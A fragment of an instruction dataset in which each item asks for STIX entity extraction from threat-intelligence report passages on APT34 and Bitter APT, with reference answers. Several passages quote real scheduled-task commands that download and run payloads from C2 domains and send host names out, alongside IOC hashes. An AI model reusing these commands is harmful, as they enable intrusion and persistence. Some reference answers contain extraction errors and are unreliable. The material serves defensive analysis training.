    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
    "output": "<entities>Microsoft|psgfilter.dll|APT34|DevicesSrv.exe|proton.me|MSIL.REDCAP.A|Middle East|potts454@proton.me|butler945@gmail.com|Win64.REDCAP.AF|fischer556@gmail.com|827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e|5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b|gmail.com</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n### **CHM Files**\nThe more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.\nThe first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn AdobeUpdater /tr \"%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart\" /ft\n```\nWe did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.\nFigure 5: Empty payloads served from different C2 servers\nThis may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.\nThe second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.\nFigure 6: Encoded PowerShell command in version 2 of the CHM files\nThe decoded command is the following:\n```\nschtasks /create /tn WinSecurity /sc minute /mo 15 /tr \"powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f\n```\nIt is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:\nFigure 7: Decoy picture\nThe decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):\nFigure 8: Machine translated version of the decoy\n",
    "output": "<entities>Microsoft|Windows|try.php|Bitter APT|PowerShell|curl|C2|Chinese Communist Party|https://coauthcn.com/hbz.php?id=%computername%;timeout|Excel|hbz.php|Microsoft Office|mirzadihatti.com|coauthcn.com|United Front Work Department|schtasks.exe|powershell.exe|pic.jpg</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n### **Malicious Microsoft Excel** Files\nThe Excel payloads simply contain an Equation Editor exploit that creates two different scheduled tasks. There is no decoy in the document. One scheduled task (shown below) runs every 15 minutes, to download a next stage EXE payload using cURL, also sending the actor the name of the infected machine. These tactics have been observed being used by Bitter APT in 2021/2022.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 15 /TN \\Windows\\DWM\\DWMCORE /TR \"cmd /c start /min curl --output %AppData%\\dwmcor.exe -O \"\"https://qwavemediaservice.net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT\"\"\" /f\n```\n!Image 4\nFigure 4: Scheduled task\nThe second scheduled task created attempts to execute the payload downloaded by the other task:\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 20 /TN \\Windows\\DWM\\DWMCORELIB /TR \"%AppData%\\dwmcor.exe\" /f\n```\n",
    "output": "<entities>Microsoft|Windows|qwavemediaservice.net|Bitter APT|curl|Equation Editor|qt.php|Excel|dwmcor.exe|schtasks.exe|https://qwavemediaservice.net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAnalysis of Phishing Lures and Payloads\nWe identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.\nFigure 1: Attack flow described in this research\nThe emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an \u201cEmbassy in Beijing.\u201d A free email provider is used, therefore domain reputation checks will not be useful.\nFigure 2: Name crafted to appear as communication from an embassy\nThe email is signed off with the name and details of an actual attach\u00e9 of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.\nThe email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.\nFigure 3: Email body lure with nuclear themes\n",
    "output": "<entities>Microsoft|Bitter APT|IIS|LinkedIn|Ministry of Foreign Affairs|China Institute of International Studies|Excel|China|CIIS|Kyrgyzstan|IAEA|Embassy of Kyrgyzstan|International Atomic Energy Agency|Beijing</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndicators of Compromise\n### **File Hashes (SHA256)**\n5f663f15701f429f17cc309d10ca03ee00fd20f733220cc9d2502eff5d0cd1a1 (Email)\neb7aebded5549f8b006e19052e0d03dc9095c75a800897ff14ef872f18c8650e (Email)\ncac239cf09a6a5bc1f9a3b29141336773c957d570212b97f73e13122fe032179 (Email)\n8d2f6b0d7a6a06708593cc64d9187878ea9d2cc3ae9a657926aa2a8522b93f74 (Email)\n33905e2db3775d2e8e75c61e678d193ac2bab5b5a89d798effbceb9ab202d799  (Email)\n5c85194ade91736a12b1eeeb13baa0b0da88c5085ca0530c4f1d86342170b3bc (Email)\nEf4fb1dc3d1ca5ea8a88cd94596722b93524f928d87dff0d451d44da4e9181f1 (Email)\nb2566755235c1df3371a7650d94339e839efaa85279656aa9ab4dc4f2d94bbfa (RAR)\n33a20950e7f4b2191706ddf9089f1e91be1e5384cca00a57cf6b58056f70c96b (RAR)\n7e7e90b076ef3ea4ef8ed4ef14fb599a2acb15d9ce00c78e5949186da1e355cf (RAR)\n07504fcef717e6b74ed381e94eab5a9140171572b5572cda87b275e3873c8a88 (XLS)\n06b4c1f46845cee123b2200324a3ebb7fdbea8e2c6ef4135e3f943bd546a2431 (CHM)\nded0635c5ef9c3d63543abc36a69b1176875dba84ca005999986bd655da3a446 (CHM)\n### **Network**\nqwavemediaservice.net\nmirzadihatti.com\ncoauthcn.com\n",
    "output": "<entities>qwavemediaservice.net|7e7e90b076ef3ea4ef8ed4ef14fb599a2acb15d9ce00c78e5949186da1e355cf|ded0635c5ef9c3d63543abc36a69b1176875dba84ca005999986bd655da3a446|07504fcef717e6b74ed381e94eab5a9140171572b5572cda87b275e3873c8a88|Ef4fb1dc3d1ca5ea8a88cd94596722b93524f928d87dff0d451d44da4e9181f1|mirzadihatti.com|coauthcn.com|eb7aebded5549f8b006e19052e0d03dc9095c75a800897ff14ef872f18c8650e|8d2f6b0d7a6a06708593cc64d9187878ea9d2cc3ae9a657926aa2a8522b93f74|b2566755235c1df3371a7650d94339e839efaa85279656aa9ab4dc4f2d94bbfa|33905e2db3775d2e8e75c61e678d193ac2bab5b5a89d798effbceb9ab202d799|cac239cf09a6a5bc1f9a3b29141336773c957d570212b97f73e13122fe032179|06b4c1f46845cee123b2200324a3ebb7fdbea8e2c6ef4135e3f943bd546a2431|33a20950e7f4b2191706ddf9089f1e91be1e5384cca00a57cf6b58056f70c96b|5c85194ade91736a12b1eeeb13baa0b0da88c5085ca0530c4f1d86342170b3bc|5f663f15701f429f17cc309d10ca03ee00fd20f733220cc9d2502eff5d0cd1a1</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMitre ATT&CK\n<table><tbody><tr><td><strong>Tactic</strong></td><td><strong>Technique</strong></td><td><strong>ID</strong></td><td><strong>Description</strong></td></tr><tr><td>Reconnaissance</td><td>Email Addresses</td><td><a href=\"https://attack.mitre.org/techniques/T1589/002/\" target=\"_blank\" rel=\"noreferrer noopener\">T1589.002</a></td><td>The actor gathers target email addresses to target with spearphishing emails</td></tr><tr><td>Initial Access</td><td>Spearphishing Attachment</td><td><a href=\"https://attack.mitre.org/techniques/T1566/001/\" target=\"_blank\" rel=\"noreferrer noopener\">T1566.001</a></td><td>Spearphishing is used to deliver RAR attachments</td></tr><tr><td>Execution</td><td>PowerShell</td><td><a href=\"https://attack.mitre.org/techniques/T1059/001/\" target=\"_blank\" rel=\"noreferrer noopener\">T1059.001</a></td><td>Encoded PowerShell is used by CHM payload</td></tr><tr><td>Execution</td><td>Exploitation for Client Execution</td><td><a href=\"https://attack.mitre.org/techniques/T1203/\" target=\"_blank\" rel=\"noreferrer noopener\">T1203</a></td><td>Microsoft Office exploits are used to execute code</td></tr><tr><td>Persistence</td><td>Scheduled Task</td><td><a href=\"https://attack.mitre.org/techniques/T1053/005/\" target=\"_blank\" rel=\"noreferrer noopener\">T1053.005</a></td><td>Scheduled Tasks used for both execution and persistence</td></tr><tr><td>Defense Evasion</td><td>Msiexec</td><td><a href=\"https://attack.mitre.org/techniques/T1218/007/\" target=\"_blank\" rel=\"noreferrer noopener\">T1218.007</a></td><td>Msiexec is used to launch next stage payloads</td></tr><tr><td>Defense Evasion</td><td>Compiled HTML File</td><td><a href=\"https://attack.mitre.org/techniques/T1218/001/\" target=\"_blank\" rel=\"noreferrer noopener\">T1218.001</a></td><td>CHM files are used to deliver payloads</td></tr><tr><td>Defense Evasion</td><td>Masquerading</td><td><a href=\"https://attack.mitre.org/techniques/T1036/\" target=\"_blank\" rel=\"noreferrer noopener\">T1036</a></td><td>Files are masqueraded as legitimate files and scheduled tasks are named after common tasks (eg. Adobe Updater)</td></tr><tr><td>Discovery</td><td>System Information Discovery</td><td><a href=\"https://attack.mitre.org/techniques/T1082/\" target=\"_blank\" rel=\"noreferrer noopener\">T1082</a></td><td>First stage payloads fetch Computer and User names</td></tr><tr><td>Command and Control</td><td>Web Protocols</td><td><a href=\"https://attack.mitre.org/techniques/T1071/001/\" target=\"_blank\" rel=\"noreferrer noopener\">T1071.001</a></td><td>HTTPS is used for C2 communication</td></tr><tr><td>Command and Control</td><td>Exfiltration Over C2 Channel</td><td><a href=\"https://attack.mitre.org/techniques/T1041/\" target=\"_blank\" rel=\"noreferrer noopener\">T1041</a></td><td>Data can be exfiltrated</td></tr></tbody></table>\n",
    "output": "<entities>Microsoft|PowerShell|C2|Exfil|Microsoft Office|Msiexec|Adobe Updater|T1036|T1041|T1053|T1053.005|T1059|T1059.001|T1071|T1071.001|T1082|T1203|T1218|T1218.001|T1218.007|T1566|T1566.001|T1589|T1589.002</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nConclusion\nBitter APT have been conducting espionage campaigns for years using many tactics, including phishing, to achieve their goals. It is advised that entities in government, energy, and engineering especially those in the Asia-Pacific region should remain vigilant when receiving emails, especially those claiming to be from other diplomatic entities. Always verify that the sender is trusted and understand that even if it claims to be from a particular person, it might not be.\n",
    "output": "<entities>Bitter APT|espionage campaign|Asia-Pacific|Asia</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPhishing Campaign Targets Chinese Nuclear Energy Industry\nIntezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.\nWe have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.\nBitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**\n",
    "output": "<entities>Microsoft|Windows|Bitter APT|espionage campaign|Asia-Pacific|Saudi Arabia|Excel|Microsoft Office|China|South Asia|Bangladesh|Intezer|Asia|Windows Installer|Pakistan</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n### Malicious Payloads via CHM and Microsoft Excel Files\nMultiple payloads have been observed being delivered. Either CHM files, or Microsoft Excel files with Equation Editor exploits. These payloads are compressed inside RAR files, this helps avoid static analysis techniques that do not decompress the files first. The purpose of the payloads are to create persistence and download further malware payloads. We were not able to get further additional payloads from the command and control (C2) servers, but in some instances were able to get the file names of next stages from active C2s.\n",
    "output": "<entities>Microsoft|Equation Editor|C2|Excel</entities>"
  }
]